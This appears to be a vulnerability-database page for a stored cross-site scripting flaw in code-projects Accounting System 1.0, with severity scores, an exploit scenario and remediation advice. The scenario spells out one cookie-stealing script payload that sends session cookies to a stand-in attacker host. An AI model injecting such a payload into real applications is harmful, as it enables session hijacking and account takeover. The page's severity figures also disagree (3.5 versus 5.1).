Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS v3.1 score of 3.5 (Low severity) indicates limited direct impact (integrity only, no confidentiality or availability impact), multiple real-world risk indicators elevate practical concern. The CVSS vector shows network-accessible attack surface (AV:N), low complexity (AC:L), but requires low privileges (PR:L) and user interaction (UI:R); however, the exploit proof (E:P) and reproducible rating (RC:R) suggest reliable exploitation. The attack requires an authenticated attacker, which narrows the threat model but does not eliminate it for multi-user accounting environments where internal threats or compromised low-privilege accounts are realistic. The publicly disclosed POC and PHP-based platform make this vulnerability straightforward to exploit. SSVC decision framework considerations: exploitation status is confirmed (POC available), the attack is manual but easily automatable via scripts, and technical impact is limited to information disclosure and session hijacking through stored malicious scripts-not system compromise. This is a legitimate low-to-medium priority issue for organizations running this specific accounting system with multi-user access, but not a critical infrastructure threat. Organizations using this software should prioritize patching to prevent insider attacks and account compromise scenarios. |
| Exploit ScenarioDerived | An authenticated user with low privileges (e.g., data entry clerk) in the accounting system injects a malicious JavaScript payload such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' into the costumer_name field when creating a new customer record. The payload is stored in the database without sanitization. When account managers or administrators later view the customer list or customer details page, the stored script executes in their browsers, exfiltrating their session cookies to an attacker-controlled server, enabling account takeover and further lateral movement within the accounting system. A publicly available proof-of-concept (available on GitHub) makes this attack reproducible by any attacker with valid low-privilege credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
A stored cross-site scripting (XSS) vulnerability exists in code-projects Accounting System 1.0 within the customer management interface (/my_account/add_costumer.php), where the costumer_name parameter fails to properly sanitize user input. Attackers with low privileges and user interaction can inject malicious JavaScript that will execute in the browsers of other users viewing the affected page, potentially leading to session hijacking, credential theft, or unauthorized actions within the accounting system. A public proof-of-concept exploit is available, significantly increasing the likelihood of real-world exploitation.
RemediationAI
The primary remediation is to upgrade to a patched version of code-projects Accounting System once released by the vendor; consult https://code-projects.org/ for security updates. Immediate interim controls should include implementing input validation on the costumer_name parameter (whitelist alphanumeric characters and safe symbols only), applying HTML entity encoding to all customer name output, enabling Content Security Policy (CSP) headers to restrict inline script execution, and restricting database-level access to the customer records table to trusted application accounts only. Additionally, conduct an audit of existing customer records in the database for injected malicious scripts and purge any detected payloads. For multi-user environments, enforce strong authentication, implement per-user role-based access controls limiting who can add/modify customer records, and enable comprehensive audit logging of all customer data modifications.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) affecting a PHP-based web application. The root cause is insufficient input validation and output encoding in the /my_account/add_costumer.php component, specifically in the costumer_name parameter handling. The affected product is code-projects Accounting System 1.0, identified via CPE cpe:2.3:a:code-projects:accounting_system:*:*:*:*:*:*:*:*. The vulnerability persists across unspecified versions of the accounting system product line. Unlike reflected XSS, stored XSS payloads are persisted in the application database and executed whenever affected pages are loaded, creating a persistent attack vector that impacts all subsequent users interacting with the poisoned customer record.
Know when Accounting System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A security vulnerability has been detected in code-projects Accounting System 1.0. Impacted is an unknown function of the file /my_account/add_costumer.php of the component Web Application Interface. Such manipulation of the argument costumer_name leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.
Executive ViewAI
Organizations using A security vulnerability should be aware of moderate risk from CVE-2026-4835, a cross-site scripting vulnerability rated CVSS 5.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in code-projects Accounting System Injection Flaws
View all 2More in Accounting System
View allSQL injection in code-projects Accounting System 1.0 allows unauthenticated remote attackers to execute arbitrary SQL qu
SQL injection in code-projects Accounting System 1.0 allows unauthenticated remote attackers to execute arbitrary SQL co
SQL injection in code-projects Accounting System 1.0 allows unauthenticated remote attackers to extract, modify, or dele
EUVD-2026-16080
GHSA-w43v-pfh7-6jqq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB